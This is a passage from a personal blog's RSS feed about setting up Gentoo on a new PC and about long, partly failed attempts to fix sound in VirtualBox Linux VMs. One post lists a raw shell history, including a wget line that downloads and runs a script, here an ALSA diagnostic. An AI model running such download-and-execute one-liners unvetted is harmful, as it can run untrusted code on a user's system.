<title>meld smears xinputrc all over</title>
<pubDate>Thu, 05 Dec 2019 22:21:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p051220192221</link>
<description>
One of my all time favourite opensource apps is [url title="meld"][/url]. A graphical diff program for comparing files.

Just tried it and got a horrible smear of results, totally unreadable. What is interesting is the fix is to change the file ~/.xinputrc
from
<code class="output">run_im xim</code>
to
<code class="output">run_im none</code>

which is weird, but after a reboot works!

[url]https://gitlab.gnome.org/GNOME/meld/issues/186[/url]
</description>
</item>
<item>
<title>virtualbox reveals timing secret and sound works again</title>
<pubDate>Thu, 05 Dec 2019 20:56:09 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p051220192056</link>
<description>
Initial VirtualBox settings are Alsa AC97.

Shutdown and changed to OSS AC97. Same results, no sound, aplay hangs
Current FLAG settings on host includes alsa but does not include pulseaudio.
user running VirtualBox is in the vboxusers group

Well I am really glad I did not install pulseaudio because this all a known issue and has been for almost a year.

The fix is force the timing back to an older value via
<code>VBoxManage setextradata global VBoxInternal2/Audio/ALSAAudio/BufferSizeMs "100"</code>
(run while VM is shutdown)

There is a lot of discussion and not a lot of fixing or empowering the users.
[url]https://forums.gentoo.org/viewtopic-t-1104042-highlight-virtualbox.html[/url]
[url]https://forums.virtualbox.org/viewtopic.php?f=7&t=95560[/url]
[url]https://forums.virtualbox.org/viewtopic.php?f=7&t=93940[/url]
[url]https://www.virtualbox.org/ticket/18342[/url]
[url]https://www.virtualbox.org/ticket/18820[/url]

So now I have my old Lubuntu VM working also!

too many VMs, should I try the others on the list?
</description>
</item>
<item>
<title>linux lite the fight for sound continues</title>
<pubDate>Thu, 05 Dec 2019 18:47:53 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p051220191847</link>
<description>
Lets start with [url title="Linux Lite"]https://www.linuxliteos.com[/url]

Current Release Name: Linux Lite 4.6
Architecture: 64bit
Software Base: Ubuntu 18.04.3 LTS
Desktop Environment: XFCE 4.12.3

Nice. Ubuntu based and XFCE, my favourite.
Not so nice, 1.4G download, so lots of stuff to uninstall, or is it just locally available?

I am giving each VM 4 of my hosts 16G of RAM and 25G Disk and three processors and 128MB GFX RAM

First impressions:
Boots off Live DVD ISO and offers straight away to install, which is good.
Quick, clear install wizard, allows me to set UK keyboard. Quick to select all the options.
Clear information during install and extra verbose information easily accessible.
Very quick first boot and the clear beginner options, install updates, documentation etc.
VirtualBox drivers seem to be installed as mouse, screen resizing and bi-directional clipboard work without changing anything.
Surprisingly sluggish responding to clicks, maybe it is updating in the background.
No sound, aplay hangs! VirtualBox was set to the default sound device AC97.
YouTube stutters and has no sound.

Remember, this Gentoo host is brand new and its own sound works fine.

</description>
</item>
<item>
<title>linux distros fight for the right to be imortalised</title>
<pubDate>Thu, 05 Dec 2019 17:40:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p051220191740</link>
<description>
Now the search begins for a new Linux distro to base my VM on.

Found the following list
[url title="Lubuntu | The official Lubuntu home"]https://lubuntu.me/[/url]
[url title="Linux Lite Easy to Use Free Linux Operating System"]https://www.linuxliteos.com/[/url]
[url title="Crunchbangplusplus | Debian Based Minimal Linux Distro"]https://crunchbangplusplus.org/[/url]
[url title="antiX Linux – &quot;antiX Magic&quot; in an environment suitable for old and new computers"]https://antixlinux.com/[/url]
[url title="Home | SparkyLinux"]https://sparkylinux.org[/url]
[url title="Puppy Linux Wiki: PuppyLinux"]http://wikka.puppylinux.com/[/url]
[url title="Tiny Core Linux, Micro Core Linux, 12MB Linux GUI Desktop, Live, Frugal, Extendable"]http://www.tinycorelinux.net/[/url]
[url title="Damn Small Linux, Download the ISO"]http://www.damnsmalllinux.org/download.html[/url]
[url title="Home - Porteus - Portable Linux"]http://www.porteus.org/[/url]
[url title="Welcome to VectorLinux — VectorLinux.com"]http://vectorlinux.com/[/url]
[url title="BunsenLabs Linux :: Installation"]https://www.bunsenlabs.org/[/url]

Last time one of my main requirements was a pre-built VM. Thinking being it would be setup to work 100% as a VM. This time I will install manually.

The beauty of VMs is I can try them all! But, I really do not have time for that.

Lets start with when they were last updated.

These might have unseen updates, but as I have to cull something ...
[url title="Damn Small Linux"]http://www.damnsmalllinux.org/download.html[/url] has not been updated since 2012, so that's out.
[url title="Porteus"]http://www.porteus.org/[/url] - no updates since April 2018
[url title="VectorLinux"]http://vectorlinux.com/[/url] - no updates since April 2015

All these have updates in the last 12 months, most in the last 30 days
[url title="Crunchbangplusplus"]https://crunchbangplusplus.org/[/url]
[url title="Tiny Core Linux"]http://www.tinycorelinux.net/[/url]
[url title="BunsenLabs Linux"]https://www.bunsenlabs.org/[/url]
[url title="Puppy Linux"]http://wikka.puppylinux.com/[/url]
[url title="SparkyLinux"]https://sparkylinux.org[/url]
[url title="antiX Linux"]https://antixlinux.com/[/url]
[url title="Linux Lite"]https://www.linuxliteos.com/[/url]
[url title="Lubuntu"]https://lubuntu.me/[/url]

You will notice that most, if not all, are targeted at running on old machines, low spec machines or just to be a small foot print. I believe this will be the best strategy to a responsive VM, although maybe I should be a bit more generous with my system resources now that I have them.
</description>
</item>
<item>
<title>hard work down the alsa mines</title>
<pubDate>Thu, 05 Dec 2019 15:25:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p051220191525</link>
<description>
Just to make it clear I did try and resolve my VM sound issues, here are selection of commands I found in the history.

FYI some are nonsense or not applicable. There were many many repeats and variations that I did not include, not to mention all the ls,cat,file,vi etc used to check and mess things about.
Also they are not in true date order. I had used multiple terminals.

<code>
cp /usr/share/sounds/alsa/Side_Right.wav ~/test.wav
sudo alsa force-reload
sudo apt-get install alsa-base pulseaudio
alsamixer
free -g
sudo alsa force-reload
killall pulseaudio; rm -r ~/.config/pulse/* ; rm -r ~/.pulse*
pulseaudio -k 
aplay -L
aplay /usr/share/sounds/alsa/Side_Right.wav 
aplay -v /usr/share/sounds/alsa/Side_Right.wav 
wget -O alsa-info.sh http://www.alsa-project.org/alsa-info.sh &amp;&amp; chmod +x ./alsa-info.sh &amp;&amp; ./alsa-info.sh
pavucontrol
aplay -D plughw:0,3 /usr/share/sounds/alsa/Front_Center.wav
pulseaudio --start
sudo killall pulseaudio; sudo alsa force-reload;
alsactl init
sudo alsa force-unload
sudo alsa force-reload
cat /proc/asound/cards
groups
pactl list short sinks
pulseaudio --check
ls .config/pulse/ -al
pasuspender -- speaker-test -c 2 -t wav
pasuspender -- speaker-test -c 2 -t wav -D plughw:CARD=Intel,DEV=0
aplay -D plughw0,0 /usr/share/sounds/alsa/Side_Right.wav 
aplay -D plug:dmix /usr/share/sounds/alsa/Side_Right.wav 
pulseaudio --version
pactl info
pulseaudio --system -vvvvv &amp;
pactl list cards
pactl list sinks
speaker-test -c 2 -t wav
ps
killall speaker-test
cat /proc/asound/cards
sudo apt-get remove --purge alsa-base pulseaudio
sudo apt-get install alsa-base pulseaudio pavucontrol
sudo apt-get install --reinstall dkms alsa-base pulseaudio pavucontrol
sudo vi /etc/modprobe.d/alsa-base.conf 
tail syslog
sudo gpasswd -a osboxes audio
while (true); do pulseaudio -k;done
cat /usr/share/sounds/alsa/Side_Right.wav | aplay
strace aplay /usr/share/sounds/alsa/Side_Right.wav 
alsabat
alsabat --local test.wav 
mkdir src
cd src;git clone https://github.com/alsa-project/alsa-utils.git
sudo apt install git
git clone https://github.com/alsa-project/alsa-utils.git
cd alsa-utils/
sudo apt install automake
sudo apt install ncurses
sudo apt install ncurses-lib
sudo apt install gettext
gettextize
aclocal -I m4
cat INSTALL 
autoheader
automake --foreign --copy --add-missing
autoconf
./configure
sudo apt install alsa-lib
aplay -Dfront:CARD=Intel,DEV=0 test.wav 
aplay -Dhw:CARD=Intel,DEV=0 ~/test.wav 
aplay -Dhw:CARD=Intel,DEV=1 ~/test.wav 
aplay -Dplughw:CARD=Intel,DEV=1 ~/test.wav 
aplay -Dplughw:CARD=Intel,DEV=0 ~/test.wav 
aplay -Dsysdefault:CARD=Intel ~/test.wav 
sudo apt install libasound2-dev
cd aplay/
cat Makefile.am
make aplay
alsabat -Pplughw:0,0
alsabat -Pplughw:0,1
cat /proc/asound/version
grep VERSION_STR /usr/include/alsa/version.h
lspci | egrep -i audio
ls -l /proc/asound/cards
cat /proc/asound/cards
ls /dev/snd/
file /usr/share/alsa/alsa.conf
lsmod | egrep snd
dmesg | egrep snd
dmesg | egrep -i sound
dmesg | egrep -i alsa
less /var/log/kern.log
less /var/log/syslog
aplay -Dsysdefault:CARD=Intel ~/test.wav 
cat /etc/modprobe.d/alsa-base.conf 
sudo vi /etc/modprobe.d/alsa-base.conf 
aplay -Dsysdefault:CARD=Intel ~/test.wav 
aplay -Dplughw:CARD=Intel,DEV=0 ~/test.wav 
aplay -Dplughw:CARD=Intel,DEV=1 ~/test.wav 
speaker-test -Dhw:0,3 -c2 #Or -Dhw:0,7
speaker-test -Dhw:0,0 -c2 #Or -Dhw:0,7
speaker-test -Dhw:0,1 -c2 #Or -Dhw:0,7
speaker-test -Dhw:0,2 -c2 #Or -Dhw:0,7
sudo apt install mplayer mpg321
mplayer ~/test.mp3 
sudo mplayer ~/test.mp3 
mplayer -ao alsa:device=hw=0.0 ~/test.mp3 
aplay -l
mplayer -ao alsa:device=hw=0.1 ~/test.mp3 
mplayer -ao pulse ~/test.mp3 
mplayer -ao alsa:device=hw=0 ~/test.mp3 
pulseaudio -D
pulseaudio -Dvvvv
pulseaudio -vvvv
vi ~/.asoundrc
aclocal --verbose &amp;gt;v.txt 2&amp;gt;&amp;1
egrep -ni po.make configure.ac
vi configure.ac
uname -a
make
gcc -DHAVE_CONFIG_H -I. -I../include  -I../include   -g -O2 -c -o aplay.o aplay.c
gcc  -g -O2   -o aplay aplay.o  -lrt -lasound -lm -ldl -lpthread
./aplay ~/test.wav 
./aplay ~/test.wav 
file ~/test.
./aplay /usr/share/sounds/alsa/Front_Center.wav 
./aplay /usr/share/sounds/alsa/Front_Left.wav 
./aplay /usr/share/sounds/alsa/Front_Right.wav 
./aplay /usr/share/sounds/alsa/Noise.wav 
./aplay /usr/share/sounds/alsa/Rear_Center.wav 
./aplay /usr/share/sounds/alsa/Rear_Left.wav 
./aplay /usr/share/sounds/alsa/Rear_Right.wav 
./aplay /usr/share/sounds/alsa/Side_Left.wav 
./aplay /usr/share/sounds/login.wav
./aplay /usr/share/sounds/info.wav 
time ./aplay /usr/share/sounds/info.wav 
time ./aplay /usr/share/sounds/login.wav
cat /dev/random &amp;gt; /dev/dsp
sudo cat /dev/random &amp;gt; /dev/dsp
dmesg -T
ls -hartl /var/log/
sox ~/test.mp3 -t ossdsp /dev/dsp
cat '/proc/asound/card0/codec#0'
cat '/proc/asound/cards/card0/codec#0'
cat '/proc/asound/card1/codec#0' 
ln -s '/proc/asound/card1' '/proc/asound/card0'
ln -s '/proc/asound/card0' '/proc/asound/card1'
ln -s '/proc/asound/card1' '/proc/asound/card0'
pacmd 
cat /etc/pulse/daemon.conf
sudo vi /etc/pulse/daemon.conf
ps | grep pa
ps | grep pul
cat /etc/modprobe.d/osspd.conf 
cat /etc/modprobe.d/blacklist-oss.conf 
cat /etc/modprobe.d/alsa-base.conf 
ls -Rla /proc/asound/cards
pactl list
sudo service pulseaudio stop
pasuspender -- cadence
sudo vi /etc/pulse/client.conf 
pulseaudio -vvv
pulseaudio -vD
sudo apt-get remove --purge alsa-base
sudo apt-get remove --purge pulseaudio
sudo apt-get install alsa-base
sudo apt-get install pulseaudio
sudo alsa force-reload
aplay -L | grep --context=1 ^default
pavucontrol&amp;
speaker-test --channels=2 --nloops=1 --test=wav --device=default
fuser /dev/snd/*
mplayer -ao alsa:device=hw=0 ~/test.mp3 
paplay /usr/share/sounds/generic.wav
pulseaudio  --daemonize=no --log-target=stderr --log-level=4
pactl list sinks | grep -e device.description -e device.string
pasuspender -- speaker-test --nloops=1 --channels=2 --test=wav --device=$device_string
pasuspender -- speaker-test --nloops=1 --channels=2 --test=wav --device="iec958:0"
rm -r ~/.pulse
rm -r ~/.pulse-cookie
rm -r ~/.config/pulse
rm ~/.asoundrc 
pactl list short sources
pactl list short sinks
less ~/.xsession-errors
vi ~/.asoundrc 
pulseaudio  --daemonize=no --log-target=stderr --log-level=4
aplay -D hw:0,0 test.wav
speaker-test --channels=2 --nloops=1 --test=wav --device=default
speaker-test -c2 -D hw:1,0  -l1 -twav
speaker-test -c2 -D hw:0,0  -l1 -twav
speaker-test -c2 -D hw:0,1  -l1 -twav
alsamixer -c1
alsamixer -c2
alsamixer -c0
sudo usermod -a -G hwaudio osboxes
cat /proc/asound/cards
aplay -D hw:0,0 test.wav
aplay -D hw:0,0 test.wav
alsa restart
alsa reload
sudo alsa reload
sudo aplay -D hw:0,0 test.wav
aplay -c 1 -r 192000 test.wav
aplay --dump-hw-params
aplay -D hw:0 --dump-hw-params
sudo aplay -D hw:0 --dump-hw-params
sudo aplay --dump-hw-params
aplay -c 2 -r 192000 test.wav
sudo aplay -c 2 -r 192000 test.wav
</code>
</description>
</item>
<item>
<title>2016 called they want it a bit quietier</title>
<pubDate>Thu, 05 Dec 2019 15:19:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p051220191519</link>
<description>
So just before I burn the VM with no sound I quickly restored the earliest snapshot, 2016. No sound and same hanging aplay :(

Even tried updating and then installing pulseaudio. No sound and same hanging aplay :(

Checked all the usual suspects, no errors, no weird configuration.

But I did have sound working on the VM in the past, honest! Admittedly it kept having issues with pulseaudio crashing and needing restarting, but it DID work.
</description>
</item>
<item>
<title>pulse alsa finally beats me to a bloddy pulp</title>
<pubDate>Tue, 03 Dec 2019 23:43:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p031220192343</link>
<description>
Another 8 hours pass and I have uninstalled and reinstalled pulseaudio and alsa so many times.
I have edited so many system wide and local config files.

and I have nothing to show for it.

There are still NO ERRORs anywhere reported on the system. aplay and most other console based audio just hangs.

Every possible test(and I have found a lot of them) all pass, the hardware is detected and setup and has NO ERRORs.

So I have to give up and say goodbye to this VM.

Gives me a change to try something new :)
</description>
</item>
<item>
<title>alsa pcm test show nothing usful</title>
<pubDate>Sat, 30 Nov 2019 13:30:23 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p301120191330</link>
<description>
Back to Alsa hacking

First I wanted to see if all .WAV files were causing the same affect. Looking specifically for sizes, for buffers and memory restrictions.

bytes sent to PCM
<code class="output">/usr/share/sounds/alsa/ (all around 130k)
    Front_Center.wav    0,71,167,787,31
    Front_Left.wav      0,71,191,42,crashed getting data contents (hung after reporting size)
    Front_Right.wav     0,1,61,10,29
    Noise.wav           5,5,19,28,3
    Rear_Center.wav     0,275,9,153,7
    Rear_Left.wav       10,105,3,8,crashed getting data contents (hung after reporting size)
    Rear_Right.wav      0,57,205,67,57
    Side_Right.wav      0,5,46,169,144
    Side_Left.wav       1,19,27,111,77
    
/usr/share/sounds/
    email.wav [8.1k]            11 - exited after 30secs consistently (but no sound)
    error.wav [87k]             1,121,77,1 - exited after 30secs consistently (but no sound)
    login.wav [864k]            21,215,175,11,9 - required double CTRL+c to exit (is linked to startup3.wav and exactly the same result if using that file directly)
    info.wav [42424 bytes]      5,25 - exited after 30secs consistently (but no sound)
    </code>
    
Which is very annoying! Almost no consistency. There are even a couple or a files that exit, eventually. Does not matter what the file size is, so what next?

Well I know the problem seems to be the write to the PCM device. So lets hassle that :)

<code>cat /dev/random > /dev/dsp
sudo cat /dev/random > /dev/dsp</code>

No sound, no errors and nothing relevant in the logs.

or is there?
<code>/var/log/syslog</code>
<code class="output">Nov 30 12:50:57 myuser pulseaudio[1372]: [pulseaudio] alsa-util.c: Disabling timer-based scheduling because running inside a VM.
Nov 30 12:50:57 myuser rtkit-daemon[1374]: Supervising 0 threads of 0 processes of 1 users.
Nov 30 12:50:57 myuser rtkit-daemon[1374]: Successfully made thread 28647 of process 1372 (n/a) owned by '1000' RT at priority 5.
Nov 30 12:50:57 myuser rtkit-daemon[1374]: Supervising 1 threads of 1 processes of 1 users.
Nov 30 12:51:49 myuser osspd[606]: ossp-padsp[osboxes:28593] WARN: pa_stream_drain() failed (Timeout)
Nov 30 12:52:28 myuser osspd[606]: ossp-padsp[osboxes:28650] WARN: pa_stream_drain() failed (Timeout)
</code>  

The first four lines are repeated continuously, but I have not seen the [em]osspd[/em] before.
<code>sox ~/test.mp3 -t ossdsp /dev/dsp</code>
hangs, no sound
then could not <code>killall sox</code> or root kill -9 the sox process had to kill this process
<code>/usr/lib/osspd/ossp-slave -u 1000 -g 1000 -c 8 -n 10 -m -1 -o 0x100000 -s 0x100000 -l 4</code>
  
so, not any further and I am going to have to give up at some point :(
</description>
</item>
<item>
<title>flogging a dead horse in exchange for sftp supremecy</title>
<pubDate>Tue, 26 Nov 2019 18:41:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p261120191841</link>
<description>
Not in the mood for aplay alsa hacking, so I thought I would just note my next big hurdle.

Getting the f-log scripts up and running.

Most of it is perl or bash scripts from 10-15 years ago, but there was the time I need to migrate to sftp using lftp.

Not sure what the correct process is(all fool me for not blogging it), but rather scarily the fix was to copy verbatim my old .ssh folder.

Had spent ages trying to get lftp to tell me it was compiled with SSL but
<code>ldd /usr/local/bin/lftp</code>

did not show anything re SSL and nothing in the Gentoo USE flags seemed to make any difference.

and as you can see from the flurry of f-log posts it all works!
</description>
</item>
<item>
<title>making a play for aplay in a vb universe</title>
<pubDate>Tue, 26 Nov 2019 18:05:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p261120191805</link>
<description>
The machine is dead, long live the machine!

I installed VirtualBox and copied the config and files and it just worked !!

But, it had the same issue I had had before, YouTube would not play and the sound was not working(pretty sure they are related).

and down the rabbit hole I fell. I could have trashed the VM and create a new ... nah.

I tried both of the software based sound cards offered by VirtualBox and both had the same result.

<code>aplay /usr/share/sounds/alsa/Side_Right.wav</code>
would just hang, never completing and having to be killed.

I remember having an issue about a year ago that was similar and it was solved by restarting the pusleaudio and alsa systems.
<code>pulseaudio -k && sudo alsa force-reload</code>

accept that did not work and gave a strange error
<code class="output">Unloading ALSA sound driver modules: snd-seq-midi snd-seq-midi-event snd-seq snd-rawmidi snd-seq-device snd-hda-codec-idt snd-hda-codec-generic snd-hda-intel snd-hda-codec snd-hda-core snd-hwdep snd-pcm snd-timer (failed: modules still loaded: snd-hda-codec-idt snd-hda-codec-generic snd-hda-codec snd-hda-core snd-hwdep snd-pcm snd-timer).
Loading ALSA sound driver modules: snd-seq-midi snd-seq-midi-event snd-seq snd-rawmidi snd-seq-device snd-hda-codec-idt snd-hda-codec-generic snd-hda-intel snd-hda-codec snd-hda-core snd-hwdep snd-pcm snd-timer.
</code>

I could see the card was recognised by the system and that 
<code>pavucontrol</code>
was recognising when apps tried to play sound.

But weirdly it would only sometimes show the VU meter changing from 0

I tried a lot, lots or reboots(virtual) but nothing worked and there seemed to be nowhere to go...

With Linux there is always somewhere to go, not always an easy path but there is always the SOURCE!

So I downloaded the alsa-utils source and tried to build aplay.

Which led to another collection of hours being lost.

Basically the instructions to build the alsa-utils was

<code>./configure
	make install</code>
	
which sounded simple but there was no [em]configure[/em] file.

hmmm

It needed to be generated with
<code>aclocal</code>

But that was erroring with a message about duplicate po.makefile

Surely the file cannot be faulty? It must be being built in a constant loop for patches, release etc.

Nope.

Need to edit out the duplicate in [em]configure.ac[/em]

then it would build the [em]configure[/em] file, then I could follow the other steps in the INSTALL file, because the two lines above were not the only commands required.

Finally everything built without error. Or did it?

the [em]aplay[/em] folder did not have [em]aplay[/em] executable and running [em]make[/em] did error!

Now what?

Looked and the Makefile and it was really simple, so I just copied out the gcc lines and it worked!
<code>gcc -DHAVE_CONFIG_H -I. -I../include  -I../include   -g -O2 -c -o aplay.o aplay.c
gcc  -g -O2   -o aplay aplay.o  -lrt -lasound -lm -ldl -lpthread</code>

And now I am adding [em]printf[/em] statements everywhere to try and pin point where it is getting hung up.
</description>
</item>
<item>
<title>fell the foe by giving kernel more than I wanted</title>
<pubDate>Tue, 26 Nov 2019 08:50:07 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p261120190850</link>
<description>
The machine is dead, long live the machine!

With email sorted I had one more big foe to fell, sound.

Not sure why, but sound still seems to be an issue with Linux.

Tried a lot and in the end(after many hours of rebuilding the kernel and rebooting), I just enabled everything, even though I knew I did not have the hardware, that fixed it.

With my new found sound system knowledge I decided to take on a bigger sound foe.
</description>
</item>
<item>
<title>my claws of stupidity clause</title>
<pubDate>Tue, 26 Nov 2019 08:45:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p261120190845</link>
<description>
The machine is dead, long live the machine!

First real problem was email. Installed Claws(the greatest mail email program of all time) and found I should be able to just copy all the config files and all the data files and it would just.
This seemed to work and loading up Claws showed all my folders(I have many) with the correct counts and then it got my email over the last few days!

Winner!

NOPE!

Clicking on anything other than the new mail returned nothing. No errors and the folder counts started zero-ing out!

... a lot of time trying to find out what was wrong ...

Oops! I had put not one but two sets of data files in ever so slightly the wrong place so Claws could not find them. Doh!
</description>
</item>
<item>
<title>kurput phenonom II</title>
<pubDate>Tue, 26 Nov 2019 08:40:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p261120190840</link>
<description>
My machine died, luckily not the new one. It went completely, the power would turn on for a few seconds and then turn off again.

I knew what to do, make sure everything is plugged in and seated correctly, no change. Start unplugging things, external things. No change, drives, no change, graphics card, no change, memory modules. If both modules were removed then the system beeped.

Now the motherboard was bare except for the CPU and one memory module(I tried both as singles). Swapped CMOS battery for new one ... no change.

That's it. No happy ending. But that machine had been running almost continuously for 10 years(short by about 3 months).

This is right pain as I had only just got a booting Gentoo install on the new machine and I had lots of plans for small, slow migration.
</description>
</item>
<item>
<title>emergency BURP</title>
<pubDate>Mon, 25 Nov 2019 22:18:52 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p251120192218</link>
<description>
BURP!
</description>
</item>
<item>
<title>nivdia loses fight to blender cuda gpu</title>
<pubDate>Sat, 16 Nov 2019 22:49:31 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p161120192249</link>
<description>
And Blender loaded but would not let me set the GPU for rendering :(

After a bit of searching found that a separate component called [em]nvidia-cuda-toolkit[/em] was required.

<code>
emerge -av nvidia-cuda-toolkit
</code>

rebuilt GCC and the NVIDIA drivers and gave a rather startling message about CUDA not working with GCC &gt;= 8.3
But it looks like it built as special 8.3 version and set it up to work with CUDA because...

even without a reboot Blender now shows NVIDIA 1660ti and allows me to select GPU compute!

now its late, but tomorrow I will run the render tests and see if Blender is faster in Linux!
</description>
</item>
<item>
<title>mouse shines through xfces keyboard settings</title>
<pubDate>Sat, 16 Nov 2019 11:48:08 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p161120191148</link>
<description>
So the mouse issue was user error. The new machine case is metal and it seems the cheap spare mouse I was using sometimes just plain did not work on it. Quick drag over my trousers and operates fine.

The keyboard is issue is more odd. Could not find any sign that I had set a specific keyboard variant on the old machine and every guide I followed made no difference. 

The fix in the end was to use the XFCE Settings Keyboard app and disable the system defaults and add English(UK).

Very frustrating!

Time to test Blender out and compare the numbers I got from Windows on the same machine.
</description>
</item>
<item>
<title>xfce sits on xorg and nvida plays the fiddle</title>
<pubDate>Sat, 16 Nov 2019 11:19:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p161120191119</link>
<description>
Gentoo Loads!!

But now I need X XFCE and to get my NVIDIA card working.

Quickly created a local user and ssh'd in. It is great they default root to no allowing ssh ...

Documentation tries to be super flexible, but this also makes it quite awkward to know how to proceed.

No. 1 install XFCE as my preferred window manager. This gives the ability for programs to have windows and common functionality otherwise X is a bit unforgiving.
I had hoped that this would pull Xorg with it, but no.

No. 2 rebuild the kernel with the correct settings to allow the proprietary NVIDIA driver to work. As I had no intramfs disk to work about this was very simple.

No. 3 install the NVIDIA drivers and reboot

No. 4 install Xorg

run <code>startx</code>
screen goes blank ... and then lots of errors about missing twm, xclock and more.

Oh, I needed to tell the startx to start xfce
<code>exec startxfce4</code>
in [em]~/.xinitrc[/em]

run <code>startx</code>
and get a default desktop!

Try and click on anything ... oh, mouse pointer does not move.
and although I can get a XFCE terminal running the pipe character is not working so no grep :(

Weirdly, the mouse could click just not move.
</description>
</item>
<item>
<title>uefi is a secure pain in the fdisk</title>
<pubDate>Thu, 14 Nov 2019 20:46:44 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p141120192046</link>
<description>
Gentoo was now ready for me to build the kernel - spent far too long reading all(a lot) options and then just accepting the defaults. 
Gentoo even has a [em]Gentoo Options[/em] config flag to force some of the required options.

My previous machine had require lots of very specific flag to be set or it could not even read from the disk.

Got to the [em]boot loader install[/em] step and Grub said it was not UEFI ready, which seemed a bit odd as everything implied that was what all the defaults were.
Went back and found a note saying that if you are using UEFI then make sure boot partition is formatted as VFAT. Then had to format the boot partition, mount it and install the kernel to it again.

Shutdown time. Followed the steps to un-mount everything and removed USB key. One final command ...

<code>reboot</code>
<code class="output">reboot: command not found</code>

oops, I removed the media that had the reboot command on it :)

Time for a good old "turn it off and on again"

<code>please insert system disk and press any key to boot</code> 

:(

The way the Gentoo install works the install can be continued. So just boot off the USB again, remount the root file system and /boot and chroot again ...

Time to start checking things.

<code>fdisk /dev/sda</code>
shows the boot partition as UEFI so lets run Grub again.

<code>grub-install --target=x86_64-efi --efi-directory=/boot</code>
<code class="output">
EFI variables are not supported on this system.
EFI variables are not supported on this system.</code>

what else can I check?

Oddly 
<code>fdisk /dev/sdb</code>
does not show UEFI and a number of notes indicate you must boot in UEFI mode to be able to build a UEFI system.

Time for a quick post for help [url]https://forums.gentoo.org/viewtopic-p-8388606.html#8388606[/url]

Oh, the USB needs to be booted in UEFI mode.
I had tried that and got
<code class="output">uefi security verification failed (0x1A) security violation</code>
and I had interpreted UEFI Secure Boot as being synonymous to UEFI and Secure Mode.

Secure Mode is greyed out in my BIOS, but I can change the OS from Windows Secure to Other.

(not sure I needed to, but I rebuilt my USB with [em]dd[/em] from the old Gentoo system)

I can now boot the UEFI option for the USB key!
<code>fdisk /dev/sdb</code>
clearly shows the USB is UEFI

Once again mount root and /boot and chroot

<code>grub-install --target=x86_64-efi --efi-directory=/boot</code>
<code class="output">No errors</code>

Could this be it?

Reboot and ...

Gentoo loads !!
</description>
</item>
<item>
<title>night night monitor</title>
<pubDate>Thu, 14 Nov 2019 19:06:51 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p141120191906</link>
<description>
quick note for me in the future;

The command to force the monitor to sleep from X is

<code>xset dpms force off</code>

moving the mouse will then re-enable the signal.

This was needed to avoid a second machine switching the video signal when it rebooted. This monitor is very nice except for the incredibly fiddly and barely accessible controls.
</description>
</item>
<item>
<title>gentoo install slog</title>
<pubDate>Tue, 12 Nov 2019 21:54:08 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p121120192154</link>
<description>
Some things you cannot prepare for; I got a new computer!

To fair the old one was coming up to 10 years in service(running 24/7). I had spec'd and built that machine, opting for 8GB ram and 64bit processor when both were rarities. Skimping on all the other details HDD, Motherboard and case. 40GB SSD and just about the only motherboard that did not support USB3.

I did not get to build the new one, but I will not look a gift horse in the mouth.

It is an i5-9400f 2.90GHz with 6 cores running at 3.98GHz, 16GB ram and a NVIDIA GeForce GTX 1660Ti (6GB, 1536 cores). It even comes in a Blue LED lit case and is very quite.

As with nearly all PCs pre-built, it came with Windows 10. Used Clonezilla to save its 4 GPT partitions from the nice 500GB SSD to a HDD. Even though I could select it in the BIOS, the cloned drive would not boot into Windows until I had physically disconnect the original.

Oh and the BIOS looks like a movie mock-up. No more blue back ground with white ASCII text at 80x25. This BIOS screen has USB mouse support and an animated background that really threw me.

The next job is to Linux-ise it. I want Gentoo again to get the most from it.

So far I have written a Gentoo minimum ISO to USB using the free Windows app [url title="Rufus"]https://rufus.ie/[/url]. Rufus is pretty amazing and just gets on with the job. If you ever want something interesting and insightful to read try the [url title="FAQ"]https://github.com/pbatard/rufus/wiki/FAQ[/url]. Read it all, even though I had no reason too. It was just very well written and entertaining, but quite long.

The [url title="Gentoo Handbook"]https://wiki.gentoo.org/wiki/Handbook:Main_Page[/url] is not for that faint hearted. The first few pages after selecting your target machine architecture lists the 10 steps required and each is involved.

Last time I did this it was to harness the power of a 64bit CPU when nearly all other Linux distros were ignoring it. So I had a fair idea what I was getting into.

You ideally need another machine with a web browser open to the [url title="Gentoo installation"]https://wiki.gentoo.org/wiki/Handbook:AMD64[/url] and also networking so you can SSH and control the install and access the internet for updates.

I currently have, wiped the old Windows partitions, created all the required Linux partitions, formatted them and mounted them. Copied all the install files to the new disk and transferred control via CHROOT.

The scary bit is now to build the Linux Kernel and install it for booting. 
</description>
</item>
<item>
<title>apple makes you laugh all the way to their bank</title>
<pubDate>Tue, 12 Nov 2019 21:28:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2019.html#p121120192128</link>
<description>
I always tell people that I cannot and will not do Apple support, yet here I am again.

Parent had setup Apple family sharing and had gifted an old iPhone 5 to her child. Fast forward to a while later and the phone died, would not charge, dead to the world.

Time passed and the parent got an carrier upgrade to a newer phone so they gifted their old device to the child and this is where it all went wrong.

Trying to setup the old phone with the child account require verification, but it was so long ago that not only did they not have the verification phone they did not even know what the number would have been.

Apple in it's infinite wisdom hides the details of the verification device/number.

